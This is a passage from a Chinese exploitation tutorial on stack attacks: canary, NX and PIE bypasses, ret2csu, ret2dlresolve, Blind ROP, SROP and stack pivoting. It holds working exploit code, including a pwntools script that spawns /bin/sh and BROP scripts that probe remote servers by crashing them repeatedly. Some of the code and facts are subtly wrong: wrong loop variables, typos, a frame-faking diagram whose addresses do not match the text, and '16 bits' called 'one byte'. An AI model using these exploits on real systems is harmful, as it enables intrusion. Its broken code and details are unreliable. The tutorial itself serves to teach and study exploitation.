    该函数在 canary 对比失败以后会被调用,该函数会强制终止程序。该函数属于 libc,因此函数地址在 got 表中,通过劫持 got 表可以修改该函数从而使程序不会被终止。此外由于该函数在终止前还会打印出 argv[0]的内容(也就是程序名),因此如果可以获取到 argv 在 libc 中的地址,并且修改 argv,就可以通过该函数打印出需要的数据。

  4. 修改 canary

    在前文中提到过,函数中的 canary 是从 fs/gs 寄存器偏移 0x28 处取出 4 或 8 个字节,实际上 fs/gs 寄存器偏移 0x28 处是 TLS(thread local storage,线程局部存储)中的 stack_guard 值,因此如果可以修改 TLS 中的 stack_guard 就可以修改 canary。

Bypass NX

NX 为了防止堆栈上的 shellcode,也很常见。开启 NX 以后就不能直接把 shellcode 写入堆栈上,但是可以想办法找到其他具有可执行权限的段去写,不过 Bypass NX 最常用的方法就是 ROP,使用 ROP 只需要把 ROP 链的各个地址与参数压入栈中,最终跳转到 shellcode 地址或者构造系统调用,ROP 的执行过程还是在代码段中。或者可以如 libc 中所介绍的攻击方法,总之开启了 NX 就代表堆栈上无法执行任何代码。

Bypass PIE

最麻烦的保护措施,通过将代码段,数据段,全局变量段等进行地址随机化,使得常用的 ROP 技术失效(制作 ROP 链需要知道 gadgets 的地址)。程序中每一条指令的地址都作为一个偏移,在程序执行的过程中指令的真实地址就是程序运行时的基地址加上该指令偏移地址就可以得到真实地址。由于每次程序执行代码地址都会变,因此不方便下断点调试,可以在 gdb 中先用 vmmap 查看程序基地址,再加上偏移地址就可以得到真实地址。

  1. partial write

    最常用的绕过方式,开启了 PIE 后虽然基地址每次都会改变,但是低 12 位 (3 个十六进制数) 是不变的,因此通过改写后 12 位地址就控制一部分范围的偏移跳转,若目标地址刚好位于修改第 12 位就可以跳转的范围内,就可以通过 partial write 绕过 PIE

  2. 泄漏地址

    开启 PIE 的程序每条指令都采用相对偏移地址,很类似 libc 节中 libc 函数的情况 ,每条指令的偏移是可以事先得知的,因此只要能够在程序运行的过程中泄漏出任何一个指令的真实地址,那么就可以计算出程序的基地址,这样其他指令的地址就可以得知了,类似 libc 节中泄漏 libc 基地址计算 system 的地址。

  3. vsyscall

    为了加快程序执行系统调用的速度,部分 linux 内核将部分无参数的系统调用从内核空间映射到用户空间里,这些被映射的系统调用被称为 vsyscall。程序就算开启了 PIE,但是 vsyscall 的地址是不变的,所以 vsyscall 中调用 syscall 指令的地址也是一直不变的,这样我们就有了一个 syscall 的 gadget。需要注意的是直接 rop 跳到 vsyscall 里的 syscall 会段错误,因为 vsyscall 会检查是否是从该系统调用的开头开始执行的(例如 syscall 的地址是 0xffffffffff600007,而该系统调用函数的开头是 0xffffffffff600000,所以我们只能先跳转到 0xffffffffff600000)。此外,现在的部分操作系统已经删除了 vsyscall 功能。

  4. vdso

    vdso 是为了取代 vsyscall 而存在的,功能和 vsyscall 一样,由 glibc 提供,因此 vdso 中的地址是随机化的,不过好处是 vdso 中的任意一条指令都可以执行,不像 vsyscall 还会检查是否是从开头执行。那么如果要利用 vdso,就需要爆破出 vdso 中的指令地址,在 64 位下 vdso 的地址随机化达到 22 位,而 32 位仅有 16 位(一个字节)是随机的,比较容易爆破,

ret2csu

此攻击方式是 BlackHat2018 中提出来的,可以看做是 rop 的万金油,其作用就是在利用__libc_csu_init 函数中提供的通用 gadgets 来实现调用任意参数小于等于 3 个的函数。__libc_csu_init 位于程序中,其作用就是初始化 libc,所以此攻击的前提就是程序需要调用 libc。在__libc_csu_init 中一共有两段可用的 gadgets,如下所示(这里提供的 64 位示例来自 CTF Wiki,不同的 libc 版本该函数的内容可能不太一样,但是总体上是差不多的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
; Second gadgets.
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
; First gadgets.
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn

第一段 gadgets 从 0x40061A 开始(即 pop rbx)可以利用栈上的值控制寄存器 rbx,rbp,r12,r13,r14,r15,第二段 gadgets 从 0x400600 开始(即 mov rdx, r13),可以通过 r13,r14 与 r15 控制函数的前三个参数 rdx,rsi 与 rdi(只能控制低 32 位 4 个字节,高 32 位为 0),而之后紧接着就有一个 call,通过 r12 与 rbx 就可以构造出目标函数的地址。call 指令结束以后后面三条指令的目的就是需要满足 rbp==rbx+1,如果满足该关系式程序逻辑就不会进行跳转,而是继续执行后面的指令。

攻击前提:

  1. 64 位程序
  2. 使用了 libc
  3. 没有开启 PIE

由于可控制的函数的第一个参数只能控制 4 个字节,因此 system 函数这一类的就用不了,但是可以利用 read 或者 write 函数读写地址。利用的 exp 如下(不同版本可能寄存器不太一样)。其中 gadgets1 和 gadgets2 对应的就是上面的 First gadgets 和 Second gadgets。

1
2
3
4
5
6
7
8
9
10
11
12
13
def ret2csu64(gadgets1, gadgets2, func_addr, arg0, arg1, arg2):
rbx, rbp = 0, 1
r12 = func_addr
r13 = arg2 # rdx
r14 = arg1 # rsi
r15 = arg0 # rdi, only low 32bits available.
return p64(gadgets1) + \
p64(rbx) + p64(rbp) + \
p64(r12) + p64(r13) + \
p64(r14) + p64(r15) + \
p64(gadgets2)

conn.send(junkdata + ret2csu(...))

32 位的 gadget 如下所示,由于 32 位主要通过栈传递参数,因此利用范围比 64 位小很多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:080487D8 loc_80487D8:                            ; CODE XREF: __libc_csu_init+57↓j
; Second gadgets.
.text:080487D8 mov eax, [esp+2Ch+arg_8]
.text:080487DC mov [esp+2Ch+var_2C], ebp
.text:080487DF mov [esp+2Ch+var_24], eax
.text:080487E3 mov eax, [esp+2Ch+arg_4]
.text:080487E7 mov [esp+2Ch+var_28], eax
.text:080487EB call ds:(__frame_dummy_init_array_entry - 804A000h)[ebx+edi*4]
.text:080487F2 add edi, 1
.text:080487F5 cmp edi, esi
.text:080487F7 jnz short loc_80487D8
.text:080487F9
.text:080487F9 loc_80487F9: ; CODE XREF: __libc_csu_init+30↑j
.text:080487F9 add esp, 1Ch
; First gadgets.
.text:080487FC pop ebx
.text:080487FD pop esi
.text:080487FE pop edi
.text:080487FF pop ebp
.text:08048800 retn

ret2dlresolve

在 libc 节中 libc 中提到过 plt 表的第一项就是跳转到_dl_runtime_resolve 函数,该函数的作用就是动态将 libc 中的函数地址写入 got 表中,并且执行被解析到函数。_dl_runtime_resolve 函数原型为_dl_runtime_resolve(link_map_obj, reloc_index),假如可以控制这两个参数,就可以控制_dl_runtime_resolve 解析并执行我们想要的函数。

plt 表与 got 表的部分结构如下所示。

1
2
3
4
5
6
7
8
9
10
11
plt[0]:
push got[1]
jmp got[2]
func@plt:
jmp func@got
push func_index
jmp plt[0]

got[0] ---> .dynamic address
got[1] ---> link_map_object address
got[2] ---> _dl_runtime_resolve address

通过上表可以看到_dl_runtime_resolve 函数的两个参数 link_map_obj 与对应的函数 reloc_index 分别在 func@plt 与 plt[0]中被 push 到栈中,而 jmp 到 got[2]以后直接调用_dl_runtime_resolve 函数,执行顺序的行数为 5,6,7,2,3,11。

在_dl_runtime_resolve 调用的时候,会做如下几件事,而这几件事对后续的 ret2dlresolve 利用非常重要。

  1. 首先通过 link_map_object 访问.dynamic 段(link_map_object 保存了.dynamic 地址),分别取出.dynstr,.dynsym 和.rel.plt 的地址,其中.dynstr 为动态链接字符串表,包含了动态链接时所需要的所有字符串(包括函数名),.dynsym 是动态链接符号表,类似符号表,里面保存了和动态链接相关的所有符号,.rel.plt 是动态链接代码重定位段,包含了需要重定位的函数信息,包括函数偏移,在符号表中的索引等。
  2. 在取出这三个地址以后,先通过.rel.plt 地址 +reloc_index 就可以计算出要被动态链接的函数的重定位表指针 rel
  3. 然后通过 rel->r_info>>8 就可以计算出在.dynsym 动态链接符号表中的下标
  4. 根据.dynsym 的地址 + 下标偏移就可以拿到对应符号表项的指针 sym
  5. 之后通过.dynstr 地址 +sym->st_name就可以取出符号名字符串的指针,也就是函数名指针
  6. 然后在动态链接库中查找这个函数的地址,并把地址写入*(rel->r_offset),也就是该函数对应的 got 表项
  7. 最后调用这个函数

其中.dynamic 段的结构是一个数组,数组每一项的结构如下所示,其实根据 d_tag 的值就可以很容易在.dynamic 中找到对应项地址,.dynstr,.dynsym 和.rel.plt 对应的 tag 值为 5,6,17。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;

/* Legal values for d_tag (dynamic entry type). */

#define DT_NULL 0 /* Marks end of dynamic section */
#define DT_NEEDED 1 /* Name of needed library */
#define DT_PLTRELSZ 2 /* Size in bytes of PLT relocs */
#define DT_PLTGOT 3 /* Processor defined value */
#define DT_HASH 4 /* Address of symbol hash table */
#define DT_STRTAB 5 /* Address of string table */
#define DT_SYMTAB 6 /* Address of symbol table */
#define DT_RELA 7 /* Address of Rela relocs */
#define DT_RELASZ 8 /* Total size of Rela relocs */
#define DT_RELAENT 9 /* Size of one Rela reloc */
#define DT_STRSZ 10 /* Size of string table */
#define DT_SYMENT 11 /* Size of one symbol table entry */
#define DT_INIT 12 /* Address of init function */
#define DT_FINI 13 /* Address of termination function */
#define DT_SONAME 14 /* Name of shared object */
#define DT_RPATH 15 /* Library search path (deprecated) */
#define DT_SYMBOLIC 16 /* Start symbol search here */
#define DT_REL 17 /* Address of Rel relocs */
#define DT_RELSZ 18 /* Total size of Rel relocs */
#define DT_RELENT 19 /* Size of one Rel reloc */
#define DT_PLTREL 20 /* Type of reloc in PLT */

.dynsym 是一个数组,数组的每一项 sym 的结构如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

.rel.plt 也是一个数组,数组的每一项 rel 的结构如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;

typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
/* How to extract and insert information held in the r_info field. */
#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))

攻击方法:

  1. 程序没有开启 RELRO

    那么我们可以任意修改.dynamic 段(数组)里的内容。首先在一块可控的内存区域内伪造一个字符串表,将 func 字符串(func 可以为 libc 中的任意目标函数,例如 read,puts 等)替换为 system 字符串,之后修改.dynamic 里的字符串表地址(.dynstr,该地址很容易通过 tag 查到)为我们伪造的字符串表地址,最后通过栈溢出修改 ret 为 func@plt 的第二条指令的地址,也就是push func_index,这样就会为 func 调用一次_dl_runtime_resolve,这样根据符号名解析到的就是 system 函数,最后会执行 system 函数。

  2. 开启了 Partial RELRO

    这时就不可以修改.dynamic 中的值了,但是可以通过伪造.rel.plt 表实现。虽然从.dynamic 中取出的.rel.plt 地址我们不可以控制,但是 reloc_index 是在栈中,因此可以被我们控制,所以通过.rel.plt 地址 +reloc_index 我们就可以控制重定位表指针 rel 的值,精心构造的 reloc_index 可以让 rel 指向我们伪造的一个重定位表项,这时 rel->r_info 我们也可以控制,就可以控制.dynsym 动态链接符号表中的下标。同样类似控制 rel,虽然从.dynamic 中取出的.dynsym 地址不可以控制,但是下标是可以控制的,因此我们也可以控制.dynsym 的地址 + 下标偏移得到对应符号表项的指针 sym,可以使 sym 指向我们伪造的一个 sym 表项,在伪造的 sym 表项中我们可以控制 sym->st_name,这样我们就可以控制.dynstr 地址 +sym->st_name 所指向的的符号名为我们控制的字符串,例如 system,同样调用_dl_runtime_resolve 的时候可以执行 system,最后需要注意的是 rel->r_offset 指向的地址需要可写。综上所述,具体利用步骤如下。

    1. 计算 reloc_index。通过 objdump -s -j .rel.plt ./pwn 获取.rel.plt 在程序中的偏移 offset,因此reloc_index = fake_rel_plt_addr - offset

    2. 找一个可控内存伪造 rel 表项,其中 r_offset 需要可写

    3. 计算 rel 表项中的 r_info。通过 objdump -s -j .dynsym ./pwn 获取.dynsym 在程序中的偏移 offset,因此r_info = ((fake_dynsym_addr - offset) / 0x10)<<8 + 0x7

    4. 找一个可控内存伪造 sym 表项。表项中其他值都不重要,重要的是 st_name 的值。

    5. 计算 sym 中的 st_name。通过 objdump -s -j .dynstr ./pwn 获取.dynstr 在程序中的偏移 offset,因此st_name = fake_dynstr_addr - offset

    6. 找一个可控内存 fake_dynstr_addr 写入想要解析的符号字符串,例如 system

    7. 至此 rel 表项,sym 表项和符号都伪造完成,也计算出了 reloc_index,所以直接将 reloc_index 放在栈顶,然后跳转到 plt 表项中直接 jmp plt[0] 的地址即可。

    8. 若栈上的值实在不好控制,则可以通过栈迁移将栈转移到 bss 段在进行操作,需要注意内存对齐的情况。

    9. 由于上述手工步骤过于复杂,而且有很多重复操作的步骤,也容易出错,因此 pwntools 中集成了关于 ret2dlreslove 的利用方法,下面的示例来自 ctf-wiki。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      from pwn import *

      context.binary = elf = ELF("./main_partial_relro_32")

      rop = ROP(context.binary)
      dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])

      # pwntools will help us choose a proper addr
      # https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237
      rop.read(0, dlresolve.data_addr)

      rop.ret2dlresolve(dlresolve)
      payload = 'a' * 112 + rop.chain() + 'a' * 256 + dlresolve.payload

      io = process("./main_partial_relro_32")
      io.sendline(payload)
      io.interactive()
  3. 开启了 Full RELRO

    这种情况下程序中使用的动态链接的函数在程序开始执行之前就被解析完毕,_dl_runtime_reslove 和 got 表也就用不到了,而且.dynamic 和 got 表都不可写,无法利用。

BROP

BROP 就是 Blind ROP,也就是 ROP 盲打,指在没有程序可执行文件的情况下利用 ROP 进行盲打。

攻击前提:

  1. 必须存在栈溢出可以覆盖 ret 地址劫持控制流
  2. 程序崩溃后可以自动重启,并且重启后地址不变(例如 nginx,mysql,apache,openssh 等服务器)

攻击步骤:

  1. 获取栈溢出长度

    非常简单,通过枚举即可,每次增加一个字节直到程序报错

  2. 绕过 canary

    通过逐字节爆破 canary,主要用了 0x82 节中的爆破方法获取到 canary

  3. rop

    找到 canary 以后我们就可以控制 ret 了,这时候就需要找到合适的 garget 来形成 rop 链。

由于我们不知道程序里的代码,所以想直接找到一个 syscall 几乎是不可能的,因此首要任务就是先想办法可以打印出程序的内存,使我们可以获取更多的信息,这是我们的目标。即然需要打印程序,那么就需要函数调用 / 系统调用,首先就需要找到可以控制寄存器的 gadgets。通过 0x85 节我们可以知道在 csu 中有一段通用的 gadgets,如下所示。

1
2
3
4
5
6
7
.text:000000000040061A                 pop     rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn

但是我们想控制的是 rdi,rsi 和 rdx 这三个寄存器(这三个寄存器中保存函数参数),但是从 csu 的 gadget 中,如果从 0x400621(0x40061A+7)处开始,这一段 gadget 就变成了pop rsi; pop r15; ret,如果从 0x400623(0x40061A+9)处开始,这一段 gadget 就变成了pop rdi; ret,这样我们就有了两个已知的可以控制 rdi 和 rsi 的 gadgets,但是 gadgets 的具体位置,我们还是一无所知,只能通过猜测 + 测试的方法获取 gadgets。

首先我们将程序的 gadgets 分为 3 类:stop gadgets,trap gadgets 和 probe gadgets。Probe gadgets 就是我们猜测并且需要测试的 gadgets,对于 64 位程序,可以直接从 0x400000 开始尝试,如果不成功则程序可能开启了 PIE,或者这是 32 位的程序。Stop gadgets 是一段不会使程序立即崩溃的 gadgets,也就是说程序控制流跳转到 stop gadgets 以后还可以正常运行一段时间,之后可能会发生崩溃。Trap gadgets 则是一段可以立即使程序崩溃的 gadgets,其实 trap gadgets 可以不是一段 gadgets,甚至可以是一个非法地址,只要程序跳转到 trap 以后可以立即崩溃就行。最后,通过 stop 和 trap 在栈上的不同布局,我们就可以测试我们猜测的 prob 是否是一段正确的 gadgets(其实原理上类似 SQL 注入的时间盲注),有如下几个例子。

  1. 测试不会对栈进行操作的 gadgets,例如 retxor eax, eax; ret 等,若没有进行 pop 或 push,则会直接跳转到 stop,程序不会立即崩溃,否则就会跳转到 trap,程序会立即崩溃,后续几个例子的原理相同。

    buf | canary | probe | stop | trap | trap | … |

  2. 测试只 pop 一次的 gadgets。

    buf | canary | probe | trap | stop | trap | trap | … |

  3. 测试 pop 了两次的 gadgets,可以依此类推寻找 pop 多次的 gadgets

    buf | canary | probe | trap | trap | stop | trap | trap | .. |

  4. 测试 probe 是不是一个 stop gadgets,若 probe 是一个 stop gadgets,则程序不会立即崩溃,否则就会立即崩溃

    buf | canary | probe | trap | trap | … |

  5. 找到到 csu 中那连续 6 个 pop 的 gadgets(非常重要,找到这个 gadgets 就相当于可以控制很多寄存器)

    buf | canary | probe | trap | trap | trap | trap | trap | trap | stop | trap | trap | … |

关于识别 plt 表,plt 相对比较稳定,跳转到 plt 以后程序一般不会崩溃。plt 表的每一项都是 16 字节长,所以若连续 16 次测试 probe 的时候程序都没有崩溃(例如从 0x400000 开始尝试,尝试到 0x400010,这些 probe 都是 gadgets),那么很可能遇到了 plt 表。此外,plt 中的一项包含了 3 条指令jmp func@got; push func_index; jmp plt[0],第一条指令 jmp 长 6 字节,第二条指令 push 长 5 字节,最后一个 jmp 指令长 5 字节,因此可以通过前后偏移 6 字节来确定哪一个 probe 是 plt 表项的中间(即是处于 push 还是处于第一个 jmp)。

此时虽然我们找到了 plt 表,但是还不能确定哪一个是输出函数(例如 puts),我们最终的目标是调用输出函数打印程序内存。例如寻找 puts 函数,我们只需要控制 rdi 即可(puts 只接受一个参数),那么我们可以依次遍历每一个 plt 表项,每次遍历的 step 为 16 字节,之后我们控制 rdi 为程序的开头也就是 0x400000(未开启 PIE),ELF 开头的 4 个字节一般为\x7fELF,所以如果某一个 plt 表项调用完以后发现程序输出了这 4 个字节,那么那就是 puts 的 plt 表项,找到了 puts 的地址以后我们就可以随心所欲输出程序地址的内存了,甚至可以把代码段全打印出来供我们离线寻找更多的 gadgets。

综上所述,brop 的一般过程如下所述。首先确定溢出长度,exp 如下,注意,若遇到了 canary 则该函数返回的仅为 buf 长度,若没有 canary(比较少见),则该函数返回的包括了 old ebp 的长度。其中 get_remote_conn 函数可以获取一个 remote conn,conn_send_recv函数负责发送和接收 data。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def get_overflow_length():
length = 1
while True:
try:
conn = get_remote_conn()
output = conn_send_recv(conn, 'a' * length)
conn.close()
# OK means remote not crash.
if 'OK' in output:
i += 1
else:
# Crash and output something else.
break
except Exception:
conn.close()
break
return length - 1

之后需要寻找 stop gadgets,exp 如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def get_stop_gadget(buf_length, canary=None):
addr = 0x400000
payload = 'a' * buf_length # buf
if canary:
payload += p64(canary)
payload += 'a' * 8 # old rbp
while True:
try:
conn = get_remote_conn()
conn_send_recv(conn. payload + p64(addr))
conn.close()
return addr
except Exception:
conn.close()
addr += 1

找到 stop gadgets 以后就成功了一半了,剩下的就是寻找 plt 的地址以及遍历 plt 找到 puts 的地址。首先是寻找 plt 的 exp,注意程序可能不止一处连续 16 次都不崩溃,所以最好根据不同的 start_addr 多尝试几次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def get_plt(start_addr, buf_length, stop_gadgets, canary=None):
addr = start_addr # Which address you want to start.
payload = 'a' * buf_length # buf
if canary:
payload += p64(canary)
payload += 'a' * 8 # old rbp
payload += '%s' # Probe addr
payload += p64(stop_gadgets) # Stop gadgets addr
payload += 'a' * 8 * 10 # 10 Traps.
count = 0
while True:
try:
conn = get_remote_conn()
conn_send_recv(conn, payload % p64(addr))
conn.close()
addr += 1
count += 1
if count == 16:
return addr - 16
except Exception:
conn.close()
count = 0

寻找 csu 中的 gadgets 地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_csu(buf_legnth, stop_gadgets, canary=None):
addr = 0x400000
payload = 'a' * buf_length # buf
if canary:
payload += p64(canary)
payload += 'a' * 8 # old rbp
payload += '%s' # Probe addr
payload += 'a' * 8 * 6 # 6 traps
payload += p64(stop_gadgets)
payload += 'a' * 8 * 10 # 10 traps
while True:
try:
conn = get_remote()
output = conn_send_recv(conn, payload % p64(addr))
conn.close()
return addr
except Exception:
conn.close()
addr += 1

找到 csu 的 gadgets 地址以后,通过偏移 9 就可以得到 pop rdi; ret 的 gadgets,这样我们就可以控制 puts 的参数,然后是寻找 puts 的 plt 地址(其实也可以把 step 从 16 调整为 1)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def get_puts_plt(plt_addr, buf_length, pop_rdi_ret, stop_gadgets, canary=None):
addr = plt_addr # plt address
payload = 'a' * buf_length # buf
if canary:
payload += p64(canary)
payload += 'a' * 8 # old rbp
payload += p64(pop_rdi_ret)
payload += p64(0x400000) # # ELF start address
payload += '%s' # Probe addr
payload += p64(stop_gadgets) # Stop gadgets addr
payload += 'a' * 8 * 10 # 10 Traps.
while True:
try:
conn = get_remote()
output = conn_send_recv(conn, payload % p64(addr))
conn.close()
if output.startswith('\x7fELF'):
return addr
except Exception:
conn.close()
print('[!] Crash found! Maybe invalid plt address. continue finding...')
addr += 16

最后就是调用 puts 打印各种地址内存了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def puts(addr, puts_plt, buf_length, pop_rdi_ret, stop_gadgets, canary=None):
payload = 'a' * buf_length # buf
if canary:
payload += p64(canary)
payload += 'a' * 8 # old rbp
payload += p64(pop_rdi_ret)
payload += p64(addr)
payload += p64(puts_plt)
payload += p64(stop_gadgets)
data = None
try:
conn = get_remote()
data = conn_send_recv(conn, payload)
conn.close()
if not data:
data = '\x00'
except Exception:
conn.close()

return data

SROP

SROP 即 Sigreturn-Oriented Programming(面向 Sigreturn 编程),sigreturn 是一个系统调用,当 unix 系统发生 signal 的时候会被间接调用。

当内核向一个进程发送一个 signal 的时候,该进程会被暂时挂起,然后进入内核态,在进入内核态之前,内核会将进程的上下文保存在栈中,这个上下文被称为 ucontext,其中包含了当前所有寄存器的值,之后将 signal 信息也就是 siginfo 压入栈中,然后将指向 sigreturn 系统调用的地址压入栈中,这样内核态执行完毕以后就可以执行 sigreurn 系统调用恢复保存在栈中的进程所有寄存器的值,其中,ucontext 以及 siginfo 被称为 Signal Frame。32 位 sigreturn 的调用号位 77,64 位 sigreturn 的调用号位 15。

32 位系统下的 Signal Frame 结构如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

64 位系统下的 Signal Frame 结构如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

由于整个 Signal Frame 都被保存在栈中,因此通过栈溢出我们可以读写对应的 Signal Frame,这时内核态执行完毕以后调用 sigreturn 恢复进程寄存器的时候,我们就可以控制 rip/eip 的值,劫持控制流,我们也可以手动调用 sigreturn 系统调用,然后在栈上伪造一个 Signal Frame,这样就可以控制所有寄存器的值。我们甚至可以伪造多个不同的 Signal Frame 执行不同的系统调用或函数,例如这个 Frame 可以调用 read,另一个调用 write 等等。

实际上 pwntools 中已经集成了针对 SROP 的利用SigreturnFrame(),直接实例化一个这个类就可以很容易修改 Signal Frame 中寄存器的值,修改完成后将其转为 str 就得到了对应的 payload,直接 send 即可,非常方便。

JOP

JOP 即 Jump-Oriented Programming(面向跳转编程),说白了就是只用 jmp 寄存器完成 getshell,例如pop rax; jmp rax,大致原理与 ROP 相同。

COP

COP 即 Call-Oriented Programming(面向调用编程),说白了就是只用 call 寄存器完成 getshell,例如pop rax; call rax,大致原理与 ROP 相同。

Stack Pivoting

也称作栈迁移,如果可以控制栈顶指针 sp,就可以将栈迁移到其他可读写的地址,通常情况下我们虽然可以很容易控制 sp,但是其他方法就可以 getshell,所以一般用不到栈迁移,但是在某些极端情况下栈迁移也是非常有用的:

  1. 可以溢出的长度很少,无法构造较长的 rop 链
  2. 开启了 PIE,我们不知道栈地址,可以控制 sp 的话就可以将栈迁移到已知地址
  3. 甚至可以将栈迁移到堆空间结合堆溢出控制栈上的内容

攻击前提:

  1. 可以劫持控制流
  2. 可以控制栈顶指针 sp,例如 pop rsp; ret 这类的 gadgets。其实万金油 csu 中就有现成的可以控制 sp 的 gadget,位置在偏移 +3 处。

Frame Faking

顾名思义,伪造一个函数栈劫持控制流,其实和栈迁移一样,只不过是将栈底迁移到已知的可控地址处,利用leave; retgadgets 来劫持控制流,即如果栈底可控,那么通过 leave 指令,栈顶也就可控,ret 也可控。

leave 指令相当于 move esp,ebp; pop ebp,也就是esp=ebp && ebp=old_ebp,如果我们可以通过栈溢出修改old_ebp 为我们可控的地址evil_ebp,那么在执行 leave 的时候首先修改 esp 为 ebp,之后修改 ebp 为我们的evil_ebp,现在栈底我们可控,之后执行 ret 指令,也就是leave; retgadget,这时又会执行一次 leave,esp 就变成了我们的evil_ebp,那么这时候整个栈顶和栈底都到了我们可控的地址处,这时又修改 ebp 到其他地方(可以是我们控制的地方,不过已经无所谓了),然后执行 gadget 中的 ret 指令 ,但是这时整个栈都到了我们可控的地址处,也就是说我们可以任意控制栈上的内容,可以很容易构造其他 rop 链了。

其实说白了,栈伪造就是栈迁移的升级版,其利用范围和栈迁移一样,但是攻击前提就需要寻找到一条 levae; ret 这样的 gadget,其实这种 gadget 很好找。栈伪造的原理如下所示,假设 0x0 开始是程序原本的栈,但是通过栈溢出我们只能修改 ebp 和 ret,这时无法构造长的 rop 链,但是我们修改 ebp 为 0x800010,也就是我们伪造的栈地址,修改 ret 为 0x400070,也就是leave; retgadget,执行完以后leave; retgadget 以后栈就会被迁移到 0x800010 处,这时我们就可以完全控制栈的内容了,可以构造任意长度的 rop 链。

1
2
3
4
5
6
7
8
9
10
11
0x0 AAAA
0x4 AAAA
0x8 old_ebp (=0x80001a)
0xc ret (=0x40075)
...
0x400070 leave; ret
...
0x800010 AAAA
0x800014 gadgets_addr
0x800018 gadgets_addr
...

Other Tricks

  1. 控制 rax/eax

    有时候系统调用需要我们控制 al 寄存器,但是类似 pop rax/eax; ret 这种 gadgets 很难找,这时若可以调用 alarm 函数,那么可以通过依次调用 alarm(x),alarm(0)即可将 rax 设置为 x,而很多题目都会设置一个 alarm 定时终止程序防止过多的 socket 连接占用资源。其实不止 alarm,其他函数在调用完成后也可能会修改部分寄存器的值。

  2. 栈重叠

